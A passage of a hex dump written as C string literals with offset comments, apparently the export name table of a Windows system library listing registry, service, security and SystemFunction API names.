007FE0 */ "\x73\x41\x00\x51\x75\x65\x72\x79\x41\x6C\x6C\x54\x72\x61\x63\x65" //sA.QueryAllTrace /* 008000 */ "\x73\x57\x00\x51\x75\x65\x72\x79\x52\x65\x63\x6F\x76\x65\x72\x79" //sW.QueryRecovery /* 008020 */ "\x41\x67\x65\x6E\x74\x73\x4F\x6E\x45\x6E\x63\x72\x79\x70\x74\x65" //AgentsOnEncrypte /* 008040 */ "\x64\x46\x69\x6C\x65\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69" //dFile.QueryServi /* 008060 */ "\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x41\x00\x51\x75\x65\x72\x79" //ceConfig2A.Query /* 008080 */ "\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x57\x00" //ServiceConfig2W. /* 0080A0 */ "\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66" //QueryServiceConf /* 0080C0 */ "\x69\x67\x41\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65" //igA.QueryService /* 0080E0 */ "\x43\x6F\x6E\x66\x69\x67\x57\x00\x51\x75\x65\x72\x79\x53\x65\x72" //ConfigW.QuerySer /* 008100 */ "\x76\x69\x63\x65\x4C\x6F\x63\x6B\x53\x74\x61\x74\x75\x73\x41\x00" //viceLockStatusA. /* 008120 */ "\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x4C\x6F\x63\x6B" //QueryServiceLock /* 008140 */ "\x53\x74\x61\x74\x75\x73\x57\x00\x51\x75\x65\x72\x79\x53\x65\x72" //StatusW.QuerySer /* 008160 */ "\x76\x69\x63\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69" //viceObjectSecuri /* 008180 */ "\x74\x79\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x53" //ty.QueryServiceS /* 0081A0 */ "\x74\x61\x74\x75\x73\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69" //tatus.QueryServi /* 0081C0 */ "\x63\x65\x53\x74\x61\x74\x75\x73\x45\x78\x00\x51\x75\x65\x72\x79" //ceStatusEx.Query /* 0081E0 */ "\x54\x72\x61\x63\x65\x41\x00\x51\x75\x65\x72\x79\x54\x72\x61\x63" //TraceA.QueryTrac /* 008200 */ "\x65\x57\x00\x51\x75\x65\x72\x79\x55\x73\x65\x72\x73\x4F\x6E\x45" //eW.QueryUsersOnE /* 008220 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x51\x75\x65" //ncryptedFile.Que /* 008240 */ "\x72\x79\x57\x69\x6E\x64\x6F\x77\x73\x33\x31\x46\x69\x6C\x65\x73" //ryWindows31Files /* 008260 */ "\x4D\x69\x67\x72\x61\x74\x69\x6F\x6E\x00\x52\x65\x61\x64\x45\x6E" //Migration.ReadEn /* 008280 */ "\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x00\x52" //cryptedFileRaw.R /* 0082A0 */ "\x65\x61\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x52\x65\x61" //eadEventLogA.Rea /* 0082C0 */ "\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x52\x65\x67\x43\x6C" //dEventLogW.RegCl /* 0082E0 */ "\x6F\x73\x65\x4B\x65\x79\x00\x52\x65\x67\x43\x6F\x6E\x6E\x65\x63" //oseKey.RegConnec /* 008300 */ "\x74\x52\x65\x67\x69\x73\x74\x72\x79\x41\x00\x52\x65\x67\x43\x6F" //tRegistryA.RegCo /* 008320 */ "\x6E\x6E\x65\x63\x74\x52\x65\x67\x69\x73\x74\x72\x79\x57\x00\x52" //nnectRegistryW.R /* 008340 */ "\x65\x67\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x41\x00\x52\x65\x67" //egCreateKeyA.Reg /* 008360 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67" //CreateKeyExA.Reg /* 008380 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x45\x78\x57\x00\x52\x65\x67" //CreateKeyExW.Reg /* 0083A0 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x44\x65" //CreateKeyW.RegDe /* 0083C0 */ "\x6C\x65\x74\x65\x4B\x65\x79\x41\x00\x52\x65\x67\x44\x65\x6C\x65" //leteKeyA.RegDele /* 0083E0 */ "\x74\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x44\x65\x6C\x65\x74\x65" //teKeyW.RegDelete /* 008400 */ "\x56\x61\x6C\x75\x65\x41\x00\x52\x65\x67\x44\x65\x6C\x65\x74\x65" //ValueA.RegDelete /* 008420 */ "\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67\x44\x69\x73\x61\x62\x6C" //ValueW.RegDisabl /* 008440 */ "\x65\x50\x72\x65\x64\x65\x66\x69\x6E\x65\x64\x43\x61\x63\x68\x65" //ePredefinedCache /* 008460 */ "\x00\x52\x65\x67\x44\x69\x73\x61\x62\x6C\x65\x50\x72\x65\x64\x65" //.RegDisablePrede /* 008480 */ "\x66\x69\x6E\x65\x64\x43\x61\x63\x68\x65\x45\x78\x00\x52\x65\x67" //finedCacheEx.Reg /* 0084A0 */ "\x45\x6E\x75\x6D\x4B\x65\x79\x41\x00\x52\x65\x67\x45\x6E\x75\x6D" //EnumKeyA.RegEnum /* 0084C0 */ "\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67\x45\x6E\x75\x6D\x4B\x65" //KeyExA.RegEnumKe /* 0084E0 */ "\x79\x45\x78\x57\x00\x52\x65\x67\x45\x6E\x75\x6D\x4B\x65\x79\x57" //yExW.RegEnumKeyW /* 008500 */ "\x00\x52\x65\x67\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x41\x00\x52" //.RegEnumValueA.R /* 008520 */ "\x65\x67\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67" //egEnumValueW.Reg /* 008540 */ "\x46\x6C\x75\x73\x68\x4B\x65\x79\x00\x52\x65\x67\x47\x65\x74\x4B" //FlushKey.RegGetK /* 008560 */ "\x65\x79\x53\x65\x63\x75\x72\x69\x74\x79\x00\x52\x65\x67\x4C\x6F" //eySecurity.RegLo /* 008580 */ "\x61\x64\x4B\x65\x79\x41\x00\x52\x65\x67\x4C\x6F\x61\x64\x4B\x65" //adKeyA.RegLoadKe /* 0085A0 */ "\x79\x57\x00\x52\x65\x67\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E" //yW.RegNotifyChan /* 0085C0 */ "\x67\x65\x4B\x65\x79\x56\x61\x6C\x75\x65\x00\x52\x65\x67\x4F\x70" //geKeyValue.RegOp /* 0085E0 */ "\x65\x6E\x43\x75\x72\x72\x65\x6E\x74\x55\x73\x65\x72\x00\x52\x65" //enCurrentUser.Re /* 008600 */ "\x67\x4F\x70\x65\x6E\x4B\x65\x79\x41\x00\x52\x65\x67\x4F\x70\x65" //gOpenKeyA.RegOpe /* 008620 */ "\x6E\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67\x4F\x70\x65\x6E\x4B" //nKeyExA.RegOpenK /* 008640 */ "\x65\x79\x45\x78\x57\x00\x52\x65\x67\x4F\x70\x65\x6E\x4B\x65\x79" //eyExW.RegOpenKey /* 008660 */ "\x57\x00\x52\x65\x67\x4F\x70\x65\x6E\x55\x73\x65\x72\x43\x6C\x61" //W.RegOpenUserCla /* 008680 */ "\x73\x73\x65\x73\x52\x6F\x6F\x74\x00\x52\x65\x67\x4F\x76\x65\x72" //ssesRoot.RegOver /* 0086A0 */ "\x72\x69\x64\x65\x50\x72\x65\x64\x65\x66\x4B\x65\x79\x00\x52\x65" //ridePredefKey.Re /* 0086C0 */ "\x67\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x4B\x65\x79\x41\x00\x52" //gQueryInfoKeyA.R /* 0086E0 */ "\x65\x67\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x4B\x65\x79\x57\x00" //egQueryInfoKeyW. /* 008700 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x4D\x75\x6C\x74\x69\x70\x6C\x65" //RegQueryMultiple /* 008720 */ "\x56\x61\x6C\x75\x65\x73\x41\x00\x52\x65\x67\x51\x75\x65\x72\x79" //ValuesA.RegQuery /* 008740 */ "\x4D\x75\x6C\x74\x69\x70\x6C\x65\x56\x61\x6C\x75\x65\x73\x57\x00" //MultipleValuesW. /* 008760 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x41\x00\x52" //RegQueryValueA.R /* 008780 */ "\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x45\x78\x41\x00" //egQueryValueExA. /* 0087A0 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x45\x78\x57" //RegQueryValueExW /* 0087C0 */ "\x00\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x57\x00" //.RegQueryValueW. /* 0087E0 */ "\x52\x65\x67\x52\x65\x70\x6C\x61\x63\x65\x4B\x65\x79\x41\x00\x52" //RegReplaceKeyA.R /* 008800 */ "\x65\x67\x52\x65\x70\x6C\x61\x63\x65\x4B\x65\x79\x57\x00\x52\x65" //egReplaceKeyW.Re /* 008820 */ "\x67\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79\x41\x00\x52\x65\x67" //gRestoreKeyA.Reg /* 008840 */ "\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x53" //RestoreKeyW.RegS /* 008860 */ "\x61\x76\x65\x4B\x65\x79\x41\x00\x52\x65\x67\x53\x61\x76\x65\x4B" //aveKeyA.RegSaveK /* 008880 */ "\x65\x79\x45\x78\x41\x00\x52\x65\x67\x53\x61\x76\x65\x4B\x65\x79" //eyExA.RegSaveKey /* 0088A0 */ "\x45\x78\x57\x00\x52\x65\x67\x53\x61\x76\x65\x4B\x65\x79\x57\x00" //ExW.RegSaveKeyW. /* 0088C0 */ "\x52\x65\x67\x53\x65\x74\x4B\x65\x79\x53\x65\x63\x75\x72\x69\x74" //RegSetKeySecurit /* 0088E0 */ "\x79\x00\x52\x65\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x41\x00\x52" //y.RegSetValueA.R /* 008900 */ "\x65\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x45\x78\x41\x00\x52\x65" //egSetValueExA.Re /* 008920 */ "\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x45\x78\x57\x00\x52\x65\x67" //gSetValueExW.Reg /* 008940 */ "\x53\x65\x74\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67\x55\x6E\x4C" //SetValueW.RegUnL /* 008960 */ "\x6F\x61\x64\x4B\x65\x79\x41\x00\x52\x65\x67\x55\x6E\x4C\x6F\x61" //oadKeyA.RegUnLoa /* 008980 */ "\x64\x4B\x65\x79\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x45\x76" //dKeyW.RegisterEv /* 0089A0 */ "\x65\x6E\x74\x53\x6F\x75\x72\x63\x65\x41\x00\x52\x65\x67\x69\x73" //entSourceA.Regis /* 0089C0 */ "\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75\x72\x63\x65\x57\x00" //terEventSourceW. /* 0089E0 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x49\x64\x6C\x65\x54\x61\x73\x6B" //RegisterIdleTask /* 008A00 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65" //.RegisterService /* 008A20 */ "\x43\x74\x72\x6C\x48\x61\x6E\x64\x6C\x65\x72\x41\x00\x52\x65\x67" //CtrlHandlerA.Reg /* 008A40 */ "\x69\x73\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C" //isterServiceCtrl /* 008A60 */ "\x48\x61\x6E\x64\x6C\x65\x72\x45\x78\x41\x00\x52\x65\x67\x69\x73" //HandlerExA.Regis /* 008A80 */ "\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C\x48\x61" //terServiceCtrlHa /* 008AA0 */ "\x6E\x64\x6C\x65\x72\x45\x78\x57\x00\x52\x65\x67\x69\x73\x74\x65" //ndlerExW.Registe /* 008AC0 */ "\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C\x48\x61\x6E\x64" //rServiceCtrlHand /* 008AE0 */ "\x6C\x65\x72\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x54\x72\x61" //lerW.RegisterTra /* 008B00 */ "\x63\x65\x47\x75\x69\x64\x73\x41\x00\x52\x65\x67\x69\x73\x74\x65" //ceGuidsA.Registe /* 008B20 */ "\x72\x54\x72\x61\x63\x65\x47\x75\x69\x64\x73\x57\x00\x52\x65\x6D" //rTraceGuidsW.Rem /* 008B40 */ "\x6F\x76\x65\x54\x72\x61\x63\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B" //oveTraceCallback /* 008B60 */ "\x00\x52\x65\x6D\x6F\x76\x65\x55\x73\x65\x72\x73\x46\x72\x6F\x6D" //.RemoveUsersFrom /* 008B80 */ "\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x52\x65" //EncryptedFile.Re /* 008BA0 */ "\x70\x6F\x72\x74\x45\x76\x65\x6E\x74\x41\x00\x52\x65\x70\x6F\x72" //portEventA.Repor /* 008BC0 */ "\x74\x45\x76\x65\x6E\x74\x57\x00\x52\x65\x76\x65\x72\x74\x54\x6F" //tEventW.RevertTo /* 008BE0 */ "\x53\x65\x6C\x66\x00\x53\x61\x66\x65\x72\x43\x6C\x6F\x73\x65\x4C" //Self.SaferCloseL /* 008C00 */ "\x65\x76\x65\x6C\x00\x53\x61\x66\x65\x72\x43\x6F\x6D\x70\x75\x74" //evel.SaferComput /* 008C20 */ "\x65\x54\x6F\x6B\x65\x6E\x46\x72\x6F\x6D\x4C\x65\x76\x65\x6C\x00" //eTokenFromLevel. /* 008C40 */ "\x53\x61\x66\x65\x72\x43\x72\x65\x61\x74\x65\x4C\x65\x76\x65\x6C" //SaferCreateLevel /* 008C60 */ "\x00\x53\x61\x66\x65\x72\x47\x65\x74\x4C\x65\x76\x65\x6C\x49\x6E" //.SaferGetLevelIn /* 008C80 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x47" //formation.SaferG /* 008CA0 */ "\x65\x74\x50\x6F\x6C\x69\x63\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74" //etPolicyInformat /* 008CC0 */ "\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x49\x64\x65\x6E\x74\x69\x66" //ion.SaferIdentif /* 008CE0 */ "\x79\x4C\x65\x76\x65\x6C\x00\x53\x61\x66\x65\x72\x52\x65\x63\x6F" //yLevel.SaferReco /* 008D00 */ "\x72\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x45\x6E\x74\x72\x79\x00" //rdEventLogEntry. /* 008D20 */ "\x53\x61\x66\x65\x72\x53\x65\x74\x4C\x65\x76\x65\x6C\x49\x6E\x66" //SaferSetLevelInf /* 008D40 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x53\x65" //ormation.SaferSe /* 008D60 */ "\x74\x50\x6F\x6C\x69\x63\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69" //tPolicyInformati /* 008D80 */ "\x6F\x6E\x00\x53\x61\x66\x65\x72\x69\x43\x68\x61\x6E\x67\x65\x52" //on.SaferiChangeR /* 008DA0 */ "\x65\x67\x69\x73\x74\x72\x79\x53\x63\x6F\x70\x65\x00\x53\x61\x66" //egistryScope.Saf /* 008DC0 */ "\x65\x72\x69\x43\x6F\x6D\x70\x61\x72\x65\x54\x6F\x6B\x65\x6E\x4C" //eriCompareTokenL /* 008DE0 */ "\x65\x76\x65\x6C\x73\x00\x53\x61\x66\x65\x72\x69\x49\x73\x45\x78" //evels.SaferiIsEx /* 008E00 */ "\x65\x63\x75\x74\x61\x62\x6C\x65\x46\x69\x6C\x65\x54\x79\x70\x65" //ecutableFileType /* 008E20 */ "\x00\x53\x61\x66\x65\x72\x69\x50\x6F\x70\x75\x6C\x61\x74\x65\x44" //.SaferiPopulateD /* 008E40 */ "\x65\x66\x61\x75\x6C\x74\x73\x49\x6E\x52\x65\x67\x69\x73\x74\x72" //efaultsInRegistr /* 008E60 */ "\x79\x00\x53\x61\x66\x65\x72\x69\x52\x65\x63\x6F\x72\x64\x45\x76" //y.SaferiRecordEv /* 008E80 */ "\x65\x6E\x74\x4C\x6F\x67\x45\x6E\x74\x72\x79\x00\x53\x61\x66\x65" //entLogEntry.Safe /* 008EA0 */ "\x72\x69\x52\x65\x70\x6C\x61\x63\x65\x50\x72\x6F\x63\x65\x73\x73" //riReplaceProcess /* 008EC0 */ "\x54\x68\x72\x65\x61\x64\x54\x6F\x6B\x65\x6E\x73\x00\x53\x61\x66" //ThreadTokens.Saf /* 008EE0 */ "\x65\x72\x69\x53\x65\x61\x72\x63\x68\x4D\x61\x74\x63\x68\x69\x6E" //eriSearchMatchin /* 008F00 */ "\x67\x48\x61\x73\x68\x52\x75\x6C\x65\x73\x00\x53\x65\x74\x41\x63" //gHashRules.SetAc /* 008F20 */ "\x6C\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65\x74" //lInformation.Set /* 008F40 */ "\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x63\x65\x73\x73\x4C" //EntriesInAccessL /* 008F60 */ "\x69\x73\x74\x41\x00\x53\x65\x74\x45\x6E\x74\x72\x69\x65\x73\x49" //istA.SetEntriesI /* 008F80 */ "\x6E\x41\x63\x63\x65\x73\x73\x4C\x69\x73\x74\x57\x00\x53\x65\x74" //nAccessListW.Set /* 008FA0 */ "\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x6C\x41\x00\x53\x65" //EntriesInAclA.Se /* 008FC0 */ "\x74\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x6C\x57\x00\x53" //tEntriesInAclW.S /* 008FE0 */ "\x65\x74\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x75\x64\x69\x74" //etEntriesInAudit /* 009000 */ "\x4C\x69\x73\x74\x41\x00\x53\x65\x74\x45\x6E\x74\x72\x69\x65\x73" //ListA.SetEntries /* 009020 */ "\x49\x6E\x41\x75\x64\x69\x74\x4C\x69\x73\x74\x57\x00\x53\x65\x74" //InAuditListW.Set /* 009040 */ "\x46\x69\x6C\x65\x53\x65\x63\x75\x72\x69\x74\x79\x41\x00\x53\x65" //FileSecurityA.Se /* 009060 */ "\x74\x46\x69\x6C\x65\x53\x65\x63\x75\x72\x69\x74\x79\x57\x00\x53" //tFileSecurityW.S /* 009080 */ "\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x43\x6F\x64" //etInformationCod /* 0090A0 */ "\x65\x41\x75\x74\x68\x7A\x4C\x65\x76\x65\x6C\x57\x00\x53\x65\x74" //eAuthzLevelW.Set /* 0090C0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x43\x6F\x64\x65\x41" //InformationCodeA /* 0090E0 */ "\x75\x74\x68\x7A\x50\x6F\x6C\x69\x63\x79\x57\x00\x53\x65\x74\x4B" //uthzPolicyW.SetK /* 009100 */ "\x65\x72\x6E\x65\x6C\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72" //ernelObjectSecur /* 009120 */ "\x69\x74\x79\x00\x53\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75" //ity.SetNamedSecu /* 009140 */ "\x72\x69\x74\x79\x49\x6E\x66\x6F\x41\x00\x53\x65\x74\x4E\x61\x6D" //rityInfoA.SetNam /* 009160 */ "\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78" //edSecurityInfoEx /* 009180 */ "\x41\x00\x53\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69" //A.SetNamedSecuri /* 0091A0 */ "\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00\x53\x65\x74\x4E\x61\x6D" //tyInfoExW.SetNam /* 0091C0 */ "\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x57\x00" //edSecurityInfoW. /* 0091E0 */ "\x53\x65\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74" //SetPrivateObject /* 009200 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x00\x53\x65\x74\x50\x72\x69\x76" //Security.SetPriv /* 009220 */ "\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74" //ateObjectSecurit /* 009240 */ "\x79\x45\x78\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44" //yEx.SetSecurityD /* 009260 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C" //escriptorControl /* 009280 */ "\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //.SetSecurityDesc /* 0092A0 */ "\x72\x69\x70\x74\x6F\x72\x44\x61\x63\x6C\x00\x53\x65\x74\x53\x65" //riptorDacl.SetSe /* 0092C0 */ "\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72" //curityDescriptor /* 0092E0 */ "\x47\x72\x6F\x75\x70\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74" //Group.SetSecurit /* 009300 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x4F\x77\x6E\x65\x72" //yDescriptorOwner /* 009320 */ "\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //.SetSecurityDesc /* 009340 */ "\x72\x69\x70\x74\x6F\x72\x52\x4D\x43\x6F\x6E\x74\x72\x6F\x6C\x00" //riptorRMControl. /* 009360 */ "\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72" //SetSecurityDescr /* 009380 */ "\x69\x70\x74\x6F\x72\x53\x61\x63\x6C\x00\x53\x65\x74\x53\x65\x63" //iptorSacl.SetSec /* 0093A0 */ "\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x00\x53\x65\x74\x53\x65\x63" //urityInfo.SetSec /* 0093C0 */ "\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x41\x00\x53\x65\x74" //urityInfoExA.Set /* 0093E0 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00" //SecurityInfoExW. /* 009400 */ "\x53\x65\x74\x53\x65\x72\x76\x69\x63\x65\x42\x69\x74\x73\x00\x53" //SetServiceBits.S /* 009420 */ "\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4F\x62\x6A\x65\x63\x74\x53" //etServiceObjectS /* 009440 */ "\x65\x63\x75\x72\x69\x74\x79\x00\x53\x65\x74\x53\x65\x72\x76\x69" //ecurity.SetServi /* 009460 */ "\x63\x65\x53\x74\x61\x74\x75\x73\x00\x53\x65\x74\x54\x68\x72\x65" //ceStatus.SetThre /* 009480 */ "\x61\x64\x54\x6F\x6B\x65\x6E\x00\x53\x65\x74\x54\x6F\x6B\x65\x6E" //adToken.SetToken /* 0094A0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65\x74\x54" //Information.SetT /* 0094C0 */ "\x72\x61\x63\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x53\x65\x74" //raceCallback.Set /* 0094E0 */ "\x55\x73\x65\x72\x46\x69\x6C\x65\x45\x6E\x63\x72\x79\x70\x74\x69" //UserFileEncrypti /* 009500 */ "\x6F\x6E\x4B\x65\x79\x00\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69" //onKey.StartServi /* 009520 */ "\x63\x65\x41\x00\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69\x63\x65" //ceA.StartService /* 009540 */ "\x43\x74\x72\x6C\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x41\x00" //CtrlDispatcherA. /* 009560 */ "\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C" //StartServiceCtrl /* 009580 */ "\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x57\x00\x53\x74\x61\x72" //DispatcherW.Star /* 0095A0 */ "\x74\x53\x65\x72\x76\x69\x63\x65\x57\x00\x53\x74\x61\x72\x74\x54" //tServiceW.StartT /* 0095C0 */ "\x72\x61\x63\x65\x41\x00\x53\x74\x61\x72\x74\x54\x72\x61\x63\x65" //raceA.StartTrace /* 0095E0 */ "\x57\x00\x53\x74\x6F\x70\x54\x72\x61\x63\x65\x41\x00\x53\x74\x6F" //W.StopTraceA.Sto /* 009600 */ "\x70\x54\x72\x61\x63\x65\x57\x00\x53\x79\x6E\x63\x68\x72\x6F\x6E" //pTraceW.Synchron /* 009620 */ "\x69\x7A\x65\x57\x69\x6E\x64\x6F\x77\x73\x33\x31\x46\x69\x6C\x65" //izeWindows31File /* 009640 */ "\x73\x41\x6E\x64\x57\x69\x6E\x64\x6F\x77\x73\x4E\x54\x52\x65\x67" //sAndWindowsNTReg /* 009660 */ "\x69\x73\x74\x72\x79\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //istry.SystemFunc /* 009680 */ "\x74\x69\x6F\x6E\x30\x30\x31\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion001.SystemFu /* 0096A0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x30\x32\x00\x53\x79\x73\x74\x65\x6D" //nction002.System /* 0096C0 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x33\x00\x53\x79\x73\x74" //Function003.Syst /* 0096E0 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x34\x00\x53\x79" //emFunction004.Sy /* 009700 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x35\x00" //stemFunction005. /* 009720 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30" //SystemFunction00 /* 009740 */ "\x36\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //6.SystemFunction /* 009760 */ "\x30\x30\x37\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //007.SystemFuncti /* 009780 */ "\x6F\x6E\x30\x30\x38\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on008.SystemFunc /* 0097A0 */ "\x74\x69\x6F\x6E\x30\x30\x39\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion009.SystemFu /* 0097C0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x31\x30\x00\x53\x79\x73\x74\x65\x6D" //nction010.System /* 0097E0 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x31\x00\x53\x79\x73\x74" //Function011.Syst /* 009800 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x32\x00\x53\x79" //emFunction012.Sy /* 009820 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x33\x00" //stemFunction013. /* 009840 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31" //SystemFunction01 /* 009860 */ "\x34\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //4.SystemFunction /* 009880 */ "\x30\x31\x35\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //015.SystemFuncti /* 0098A0 */ "\x6F\x6E\x30\x31\x36\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on016.SystemFunc /* 0098C0 */ "\x74\x69\x6F\x6E\x30\x31\x37\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion017.SystemFu /* 0098E0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x31\x38\x00\x53\x79\x73\x74\x65\x6D" //nction018.System /* 009900 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x39\x00\x53\x79\x73\x74" //Function019.Syst /* 009920 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x30\x00\x53\x79" //emFunction020.Sy /* 009940 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x31\x00" //stemFunction021. /* 009960 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32" //SystemFunction02 /* 009980 */ "\x32\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //2.SystemFunction /* 0099A0 */ "\x30\x32\x33\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //023.SystemFuncti /* 0099C0 */ "\x6F\x6E\x30\x32\x34\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on024.SystemFunc /* 0099E0 */ 